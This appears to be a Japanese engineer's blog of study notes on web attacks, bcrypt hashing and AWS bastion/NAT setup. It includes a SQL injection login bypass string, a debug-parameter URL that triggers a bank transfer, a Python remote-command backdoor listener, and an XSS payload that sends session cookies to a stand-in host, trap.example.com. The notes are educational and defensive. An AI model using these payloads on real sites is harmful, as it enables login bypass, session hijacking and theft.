リクエストに不正な命令文を隠しこむことで、WebブラウザからWebアプリケーションに予想外の動作を引き起こす攻撃
a) OSコマンドインジェクション
b) sqlインジェクション
以下のパスワードを入力することでWHERE句全体が常に真(TRUE)となり、正規のパスワードが何であってもログインが成功する
' OR '1'='1
XPATHインジェクション、ディレクトリ検索条件に干渉するLDAPインジェクションなどがある
ソフトウェアエンジニアの技術ブログ:Software engineer tech blog
随机应变 ABCD: Always Be Coding and … : хороший
リクエストに不正な命令文を隠しこむことで、WebブラウザからWebアプリケーションに予想外の動作を引き起こす攻撃
a) OSコマンドインジェクション
b) sqlインジェクション
以下のパスワードを入力することでWHERE句全体が常に真(TRUE)となり、正規のパスワードが何であってもログインが成功する
' OR '1'='1
XPATHインジェクション、ディレクトリ検索条件に干渉するLDAPインジェクションなどがある
システムの裏口のようなもので、認証や正規の手順を踏まずにある機能を直接利用したりするための機能
開発中のバグ修正などを行う
バックドア、デバックオプションを削除せずに運用が開始される場合がある
### サンプル1
http://www.example.co.jp/bank.cgi/?debug=off
↓
http://www.example.co.jp/bank.cgi/?debug=on&from=9876-5432&to=1234-5678&amount=1000000
デバックオフで制御を解除して実行できてしまう
「Gazer」では、コード内の文字列を変化、マーカーをランダム化させ、証拠と思わしきファイルを消去するなど痕跡が残らない巧妙な設計がなされている
アクセスしただけでダウンロードが始まる
### Pythonによるバックドア例
1. バックドアアクセス用のサーバ作成
socket, subprocessを使用する
socketでは、TCPまたはUDPソケットを作成するために使用できる関数も呼び出される
socket.socket関数でソケットw作成する
socket.AF_INET: IPv4指定
socket_STREAM: TCP指定
import socket def connection(): global s s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', 4445)) s.listen(1) print("waiting...") def accept_connections(): global target target, ip_list= s.accept() print("connection received from: " + str(ip_list[0])) def commands(): while True: command= input('command> ') bit_encoded_command= str.encode(command) if command== 'exit': target.send(bit_encoded_command) receive= target.recv(1024) receive_decoded= bytes.decode(receive, "utf-8") print(receive_decoded) break connection() accept_connections() commands()
システムが予め確保しているうバッファ領域よりも大きなサイズを送りつけることで、バッファ領域を溢れさせ、バッファ領域外のコードを任意のコードで上書きしてしまう攻撃
例えば、入力フォームで数千文字の数字を入力して送信ボタンを押すと、送り込まれた大量のデータがバッファ領域を超え、バッファ領域外が上書きされてしまうことがある。
各入力フォームの最大長を設定することで防ぐことができる
char * gets(char *buf) { int c; char *s; for (s = buf; (c = getchar()) != '\n'; ) if (c == EOF) if (s == buf){ return (NULL); } else break; else *s++ = c; *s = '\0'; return (buf); }
入力したデータを全て受け取ると、オブジェクトの値が変わることがある
DoS攻撃は、サーバ負荷を増やすための攻撃
なるほど、バリデーションが如何に大事か理解できました
強制ブラウズ とは、アドレスバーからURLを直接入力して、非公開のブラウzを強制的に表示させてしまう攻撃
http://www.example.co.jp/some/path/filename.html
この場合、URLを推測してアクセスしてくる場合がある
### コメント
コードのコメントの意味を読み取って、攻撃する場合がある
### 検出方法
– 検索エンジンによる検索
– nikto
– OWASP DirBuster
– ZAP
– wfuzz
OWASP DirBusterの例
ターゲットURLとディレクトリリストを入力すると、見つかったディレクトリ等が表示されれて、ファイルを表示することもできる
ワードプレスのようなOSSの場合はディレクトリ構成が既に判明しているため、攻撃を受けやすい
攻撃方法を専門で研究している人もいるのか…
怖いね
ショッピングサイトにおいて商品の価格をHiddenフィールドに埋め込む
<input type="hidden" name="price" value="40">
このvalueが書き換えられると、より安い値段で決済されてしまうので、商品情報のDB側を値を参照して決済処理しないとsecureにならない
もしくは、hiddenの値が書き換えられてないかチェックする仕組みをcontroller側で実装する
amazonの商品ページのソースコードを見ましたが、priceはinputフィールドに記載がなさそうですね
### ユーザ情報等の全件表示
http://www.example.co.jp/cgi-bin/sample.cgi?user=hoge
Getパラメータの場合、アスタリスクにすると、全件取得できる場合がある
sample.cgi?user=*
### クロスサイトスクリプティング
受け取ったパラメータをそのまま表示する場合、コードを埋め込むと、コードが実行されてしまう
http://www.example.co.jp/cgi-bin/sample.cgi?user=hoge
http://www.example.co.jp/cgi-bin/sample.cgi?user=${コード}
パラメータをHTMLと解釈されないようにエスケープ処理する必要がある
### クロスサイトスクリプティングの例
cookie情報を表示できてしまう
"><script>alert(document.cookie)</script><!--
罠リンク: URLが圧縮されるとわからない
http://<ServerName>/xss_confirm.php?name="><script>alert(document.cookie)</script><!--
セッソンIDを盗む方法
"><script>window.location='http://trap.example.com/trap.php?'+document.cookie;</script><!--
セッション ID を入手したら、セッションIDを利用して Webアプリケーションにアクセスし、なりすましが完成する
### Sniffer
パケット盗聴用のソフト、HTTPS通信の場合は盗聴されない
Wireshark、Python3 + pySerial、nRF Snifferで環境構築ができる
デバイス単位でパケットデータを解析できる
パケットは16進数 ASCII表示
04 3e 20 02 01 04 00 df cd 64 4c 99 b4 14 0a 09 .> ......dL..... 53 65 6e 73 6f 72 54 61 67 05 12 50 00 20 03 02 SensorTag..P. .. 0a 00 ba
まずストレッチング10で”hogehogehoge”をbcryptします。
$2y$10$duXTr3ecMQZQUF6P3HWHWuZzRdZvS5AORbZuCLcID3qjqk1ZZLUja
mysql> update users set password=”$2y$10$duXTr3ecMQZQUF6P3HWHWuZzRdZvS5AORbZuCLcID3qjqk1ZZLUja” where name=”user1″;
これでログインします。
はい、当然ログインできます。
続いて、ストレッチングを12に上げます。
$2y$12$DM/DSh2iH9SYRYXHZRlIpuGvIUjBiehKuAuoGhq4cnCrQ.SZbc/Fa
mysql> update users set password=”$2y$12$DM/DSh2iH9SYRYXHZRlIpuGvIUjBiehKuAuoGhq4cnCrQ.SZbc/Fa” where name=”user1″;
あ、round12でもログインできますね。
round8
$2y$08$qEswpql7zOBs6UleOBC.2uyw3qzsInlrVXTq/oCdFcWpOqVlRU0/C
ストレッチング8(2^8)でも問題なく入れます。
Bcryptとは?
– Blowfish暗号を基盤としたパスワードハッシュアルゴリズム
– 一般にパスワードは一方向性関数の性質を持つハッシュ関数を用い値ハッシュ値で保管する
ハッシュする際に、ソルトとストレッチングを実施する
ソルトとは
-> パスワードに付与するランダムな文字列
-> レインボーテーブル攻撃だと、ソルトが付与されているハッシュ値だと推測できない
-> ソフトはユーザ毎にランダムな値で生成することが望ましいとされている
ストレッチング
-> ハッシュ関数を用いてハッシュ値への計算を数千回〜数万回繰り返し実施
弱いパスワードや文字数が長くないパスワードは総当たり攻撃(ブルートフォース攻撃)などで時間をかければ元のデータを推測されてしまう可能性がある
“hogehogehoge”をbcryptでハッシュ化してみる
$2y$10$WjqfZuhkX4nwfkdlB0Itxu.Vr2EcIcNJlGbhkyOVfWDhtCO9zMSSa
$2yはハッシュアルゴリズムのバージョンを示す。2, 2a, 2b, 2x, 2yなどがある
$10はストレッチングの回数
ソルト(22文字)
ストレッチング回数の後の128ビット(22文字)がソルト
ソルトの後の184ビット(31文字)は結果のハッシュ値
なるほどどういう仕組みか大まかな概要は理解した。
ストレッチングの回数を変更してもアルゴリズムは変わらないはずだから、phpのbcrypt(password_hash)のストレッチングが10(2の10乗で1024回)でも12(2の12乗)でも元が同じならログインできるでOK?
まずユーザ作成
続いて、set permissionsでcreate policy
sidはユニークであればなんでも良い。
{ "Version": "2012-10-17", "Statement": [ { "Action": [ "ec2:Describe*", ], "Sid": "Stmt1373379895000", "Resource": "*" "Effect": "Allow" }, { "Action": [ "ec2:StartInstances", "ec2:RebootInstances", "ec2:StopInstances", ], "Sid": "Stmt1373378552000", "Resource": [ "arn:aws:ec2:ap-northeast-1:${account_id}:instance/${instance_id}" ], "Effect": "Allow" } ] }
ec2:Describe*は、リソースレベルで管理できない。
よって、リージョンを変えるか、AWSアカウントを変えるしかない。
どういう風に制御しているのか理解できれば、間接的にセキュリティ方針を俯瞰して観れるようになりますね。
### 既存のWebサーバのAMIを取得
Instances -> Actions -> Image -> Create Image
### purivate subnetのインスタンスの作成
作成したAMIから、再度インスタンスを作る
${appName}-prd-01-private
vpc:dev-vpc
subnet:dev-subnet-private1
Public IP:enable
IAM role: s3readonly
Security group: prd
${appName}-prd-02-private
vpc:dev-vpc
subnet:dev-subnet-private2
Public IP:enable
IAM role: s3readonly
Security group: prd
### public subnetのインスタンス削除
instance -> instance state -> terminate
### ALBのターゲットグループに追加
TargetGroup -> Target -> 追加
->ALBのDNSを叩いて動作確認
->コンソールからinstanceのpublic ipを叩いてssh接続できない事を確認
### bastionのサーバ構築
Instance Type: t2.nano
VPC: dev-vpc
subnet: dev-public-subnet
Auto-assign Public IP: enable
storage size: 8Gib
tag: ${appName}-prd-bastion
security group: create ${appName}-sg-bastion, Custom TCP
key pair: 新規推奨
### bastionのkey pair
bastionサーバにログインし、home/ec2-user/.sshに 秘密鍵(***.pem)を配置する
bastionにSSHログイン
$ ssh ec2-user@*** -i ~/.ssh/***.pem $ sudo chmod 600 /home/ec2-user/.ssh/***.pem $ cd .ssh $ ls -l
### Webサーバのセキュリティグループ
ssh接続のソースをmyIPに変更
### bastionからprivate subnetのweb serverにログイン
$ ssh ec2-user@${private_ip} -i .ssh/aws-dev.pem
$ curl https://www.google.co.jp/
-> timeout
-> private subnetは、インターネットゲートウェイのルーティングが存在しないことが原因
### NATゲートウェイ作成
VPC -> NATGateways -> create
subnet: dev-subnet-public1
Elastic IP: 割り当て
Private route table
NAT Gateway 割り当て
curl https://www.google.co.jp/
-> レスポンスが返るようになる。